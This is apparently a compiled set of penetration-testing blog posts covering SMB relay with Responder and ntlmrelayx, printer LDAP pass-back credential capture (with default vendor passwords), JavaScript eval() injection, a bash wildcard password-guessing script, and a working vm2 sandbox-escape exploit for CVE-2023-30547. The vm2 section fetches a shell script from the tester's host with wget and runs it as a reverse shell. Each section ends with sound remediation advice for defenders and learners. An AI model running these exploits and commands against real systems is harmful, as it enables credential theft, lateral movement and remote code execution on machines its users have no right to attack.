[Active Directory] SMB Relay attack

SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.

SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.

Example of SMB communication

  • NetBIOS session established between the client and the server,
  • Server and client negotiation the SMB protocol dialect,
  • Client logs on to the server with the proper credentials,
  • Client will connect to a shared resource hosted on the server (i.e. wireless printer),
  • Client opens a file on the share, and,
  • Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.

Systems that are vulnerable to this attack have SMB signing configured to the following:

  • SMB Signing enabled but not required
  • SMB Signing disabled

Systems that are not vulnerable to this attack have SMB signing configured to the following:

  • SMB signing enabled and required

By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704

Requirements

  • SMB signing must be disabled or not enforced on the target
  • Must be on the local network
  • Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.

Preparation

1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)

  • sudo vi /usr/share/responder/Responder.conf

2. Run responder to verify the modules are turned off

  • sudo responder -I eth0 -w -b -v -F

Identification

1. Scan the target for smb2 security mode

  • nmap –script=smb2-security-mode.nse -p445 192.168.0.101 -Pn

Exploitation

1. Create a list of target hosts

  • vi targets.txt
  • cat targets.txt

2. Start responder

  • sudo responder -I eth0 -w -b -v -F

3. Start impacket-ntlmrelayx

  • impacket-ntlmrelayx -tf targets.txt -smb2support

4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails

Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)

Interactive mode (Shell)

1. Use Impacket-ntlmrelayx interactive mode (-i)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -i

2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine

  • nc 127.0.0.1 11000

3. Use help command to display the list of commands allowed to use

  • help

4. Sample of running commands

  • shares
  • use C$
  • ls

Run commands

1. You can also run commands as soon as you receive a connection using the flag (-c)

  • impacket-ntlmrelayx -tf targets.txt -smb2support -c “whoami”

Note: depending on the version of ntlmrelax this may fail

Recommendations

Enable SMB Signing on all devices

  • Pro: Completely Stops the attack.
  • Con: can cause performance issues with the file copies.

Disable NTLM authentication on network

  • Pro: Completely stops the attack.
  • Con: If kerberos stops working, Windows default back to NTLM.

Accounting tiering:

  • Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
  • Con: Enforcing the policy may be difficult.

Local admin restriction:

  • Pro: Can prevent a lot of lateral movement.
  • Con: Potential increase in the amount of service desk tickets.

Sources

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/smb-relay

https://globalt4e.com/ataques-smb-relay/

https://github.com/m4lal0/smbrelay

https://heimdalsecurity.com/blog/what-is-an-smb-relay-attack/

[Active Directory] Printer Passback attack

I got this article from (https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack)

What is an MFP and MFP Hacking anyway?

Multi-Function Peripherals (MFPs) are an underutilized target in the realm of pen testing. When compared against other high-value targets, MFP hacking appears to be the low man on the totem pole. Penetration testers frequently attack other targets like web applications, file servers, and domain controllers. Too often, the thought is: Why waste your time on printers when you can attack things like systems potentially resulting in:

  • Credential Disclosure
  • File System Access
  • Memory Access

However, as illustrated by a recent and surprisingly interesting printer penetration test engagement, it turns out that a successful MFP breach can result in discovering all of the above findings, plus more. The best part is that MFP security and maintenance is often forgotten, potentially resulting in a quick win for someone looking to gain entry or escalate their privileges in a compromised network.

MFPs are the clunky pile of plastic typically located in your corporate closet. They’re equipped with network ports, USB drives, and an iPad looking control panel with its own set of specialized applications. These intelligent devices are capable of much more than the standard copy, print, and fax. Don’t forget the occasional paper jam too.

These industrial ink bleeders are loaded with plenty of functionality, like the ability to integrate with the corporate network to allow for convenient scan/email. This functionality necessitates:

  • Lightweight Directory Access Protocols (LDAP) integration
  • Simple Mail Transfer Protocol (SMTP) integration
  • Network Shares

What kind of information is at risk with an MFP? How can you, as a penetration tester, successfully hack into an MFP?

Did You Say LDAP?

MFP-LDAP integration can be a control mechanism to prevent unauthorized users from printing, copying, scanning, etc. It can also be used for email address lookups when leveraging the scan/copy to email functionality, as well as giving authenticated users access to their home folder located on the network.

Most MFP vendors (HP, Xerox, Ricoh, Canon, etc.) have their version of an LDAP implementation for their specific MFP, but they are generally the same concept. If you input a few attributes here, an IP address there, add a username/password, then you sit back and watch the “magic” happen.

Why MFP Hacking Matters

For the MFP to conduct queries on the LDAP server, the MFP must be configured with the appropriate credentials to access the LDAP server, or set with the ability to pass user credentials to the LDAP server. These credentials should be stored somewhere on the MFP and, if we can capture these credentials, then we may have an entryway into the network, and possibly more.

Introducing the Pass-Back Attack

The stored LDAP credentials are usually located on the network settings tab in the online configuration of the MFP and can typically be accessed via the Embedded Web Service (EWS). If you can reach the EWS and modify the LDAP server field by replacing the legitimate LDAP server with your malicious LDAP server, then the next time an LDAP query is conducted from the MFP, it will attempt to authenticate to your LDAP server using the configured credentials or the user-supplied credentials.

Accessing the EWS

Most MFPs ship with a set of default administrative credentials to access the EWS. These credentials are usually located in the Administrator Guide of the MFP in question and are a good place to start for initial access:

VendorUsernamePasswordRicohadminblankHPadminadmin or blankCanonADMINcanonEpsonEPSONWEBadmin

Another way to potentially access the EWS is through the Printer Exploitation Toolkit (PRET) and Praeda. Both tools are capable of Information Disclosure and Code Execution. If you are looking to utilize the tools for the first time, here are a few resources to help you get started:

Replace LDAP Attributes

Once you are authenticated to the EWS, locate the LDAP settings. During our test on an HP Color LaserJet MFP M477fdn, these settings were in the access control portion of the networking tab.

Next, we removed the existing LDAP Server Address, 192.168.1.100, and replaced it with our IP Address. Next, we saved the settings. Then, we created a Netcat listener on port 389, which was the existing port in the LDAP settings of the MFP.

Capture Credentials

The configuration of this MFP requires users to authenticate before using the available resources like the scan-to-email ability. The next time an unsuspecting user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under our control.

  • nc -L -l 389

If the MFP supports and is configured to store LDAP credentials for email lookup (the model we tested did not), then these credentials can also be passed back to the LDAP server under our control.

Attacking SMTP and Windows Sign-in

This attack can also be conducted against other settings on the MFP that support authentication. Like LDAP, the Windows sign-in can be an alternative method to control access to the MFP resources. We substitute the existing domain with our own domain, and the next time a domain user signs in at the control panel, the credentials are sent to our domain controller.

Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.

Big Payout with Low Risk

MFPs do not get the attention they deserve when it comes to security. They are usually physically accessible, poorly managed, and shipped with default credentials. All of this, coupled with their payout potential, should make them a prime target for your next engagement.

Exploiting JavaScript EVAL() Code Injection

The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.

There are four standard ways to evaluate strings in JavaScript:

  • eval(“code”)
  • new Function(“code”)
  • setTimeout(“code”, timeout)
  • setInterval(“code”, interval)

Example

1. This is a calculator application that prints the mathematical results on screen

2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use

// Exporting an object with a method named 'calculate'
module.exports = {
    calculate(formula) { // Try block to handle potential errors during execution
        try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
            return eval(`(function() { return ${ formula } ;}())`);
        
// Catch block to handle potential errors, specifically SyntaxError
        } catch (e) {
// Checking if the caught error is an instance of SyntaxError
            if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
                return 'Something went wrong!';
            }
        }
    }
}

Exploitation

1. First we need to understand how the application works

2. We try to make it crash

3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about

  • process.platform
  • process.cwd()

4. Now we know we can execute commands we can try a more sophisticated command

  • require(‘child_process’).execSync(‘ls -l’).toString()

require(‘child_process’):

  • This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.

.execSync(‘ls -l’):

  • The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.

.toString():

  • The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.

Recommendations

Avoid eval Completely:

  • The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.

Use JSON.parse or Other Specific Functions:

  • If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.

Function Constructors:

  • If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.

Validate and Sanitize User Inputs:

  • If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.

Code Review and Static Analysis:

  • Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.

[Privilege Escalation] Unquoted Expression Injection Bash

In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

Security Vulnerability:

  • When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
  • An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

Variable expansion:

  • Good: “$my_var”
  • Bad: $my_var

Command substitution:

  • Good: “$(cmd)”
  • Bad: $(cmd)

Should I use backticks?

Command substitutions also come in this form:

  • Correct: “`cmd`”
  • Bad: `cmd`

Quoted Variables:

When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.

var="hello world"
echo "$var"

Unquoted Variables:

When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

Word splitting breaks the variable’s value into words (typically separated by spaces).

var="hello world"

echo $var

Output:

Token: hello
Token: world

Example

1. In this example I will demonstrate how bash considers “$str1” & $str different

str1="hello world"
str2="hello world"

if [ "$str1" == $str2 ]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2

3. On the other if I use quotes in the 2 variables “$str1” and “$str2”

Exceptions

There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

  • variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
  • assignments: a=$b
  • the magical case command: case $var in … esac
  • the magical context between double-brackets ([[ and ]]) – this is a language of its own.

Scenario

1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1" 
value1=$(/usr/bin/cat secret.txt)

# Print a prompt for the user to enter a word 
echo "Enter a word!"
read input1

# Compare the content of "secret.txt" with the user input 
if [[ $value1 == $input1 ]]; then
    echo "Confirmed!"
else
    echo "Incorrect"
fi

2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

#!/usr/share/python

import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False

# Print the list of characters being tested
print(all1)

# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
    for char in all1:
# Construct a command to execute a script with a guessed password
        command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
        if "Confirmed" in output:
# If confirmed, update the password and print it
            password += char
            print(password)
            break
    else:
# If the loop completes without finding the correct password, set found to True
        found = True

3. Run the script and see the output how and the password deciphered

  • python attack.py

Note: The password is P4ssWorDVry4n

Recommendations

  • Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
  • Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
  • Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
  • If you need to store sensitive information in a file, consider encrypting the file.

Sources

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page—–933488bfbfff——————————–

https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette

(CVE-2023-30547)[Exploitation] Node.js vm2 module code execution RCE

Node.js vm2 module could allow a remote attacker to execute arbitrary code on the system, caused by a sandbox escape flaw in the handleException() function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in host context.

vm2 is a sandbox that can run untrusted code with whitelisted Node’s built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside `handleException()` which can be used to escape the sandbox and run arbitrary code in host context.

Analysis

As host exceptions may leak host objects into the sandbox, code is preprocessed with transformer() in order to instrument the code with handleException() sanitizer function calls.

  • For CatchClause with ObjectPattern the code calls handleException() and then re-throws the sanitized exception inside a nested try-catch. (lib/transformer.js:121)
  • handleException() function is an alias of thisEnsureThis(), which in turn calls thisReflectGetPrototypeOf(other) (again, an alias of Reflect.getPrototypeOf()) to access the object’s prototype (lib/bridge.js:835).

However, this may be proxied through a getPrototypeOf() proxy handler which can by itself throw an unsanitized host exception, resulting in the outer catch statement receiving it.

An attacker may use any method to raise a non-proxied host exception (test/vm.js:1082 for example) inside a getPrototypeOf() proxy handler, register it to an object and throw it to leak host exception, and finally use it to access host Function, escaping the sandbox.

Affected Products

Node.js vm2 3.9.16

Exploitation

1. Having an application that can execute nodejs code in a “secure” VM using (vm2) module, we can execute the following code, replace execSync(‘<command>); with the OS command you want

//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");

//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();

// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}`

// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));

2. For testing purposes I will test ping command

  • execSync(‘ping -c 2 10.10.14.166’);

3. First I will capture traffic on my network interface

  • ifconfig
  • sudo tcpdump -i tun0 icmp

4. Now execute the code in the web console that runs nodejs (3.9.16) vm2

5. looking at the CLI console in our machine, we see the traffic reaching us

6. Knowing the command executed, and we receive traffic we can try a reverse shell, first, start a listener in your local machine

  • nc -lvp 4444

7. now execute a bash reverse shell command I created a bash file in my local computer, and transferred it via web service

  • cat shell1.sh
  • python3 -m http.server 8888

8. Then from the website I transferred the shell1.sh into the web server

  • execSync(‘wget http://10.10.14.166:8888/shell1.sh’);
  • execSync(‘ls -la’);

9. Then I ran a command to execute the script

  • execSync(‘whereis bash’);
  • execSync(‘/usr/bin/bash shell1.sh’);

Remedy

This vulnerability was patched in the release of version `3.9.17` of `vm2`. There are no known workarounds for this vulnerability. Users are advised to upgrade.

Sources

https://exchange.xforce.ibmcloud.com/vulnerabilities/253006

https://github.com/patriksimek/vm2/security/advisories/GHSA-ch3r-j5x3-6q2m

https://www.ibm.com/support/pages/node/6998381

https://github.com/advisories/GHSA-ch3r-j5x3-6q2m

https://www.cve.org/CVERecord?id=CVE-2023-30547

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244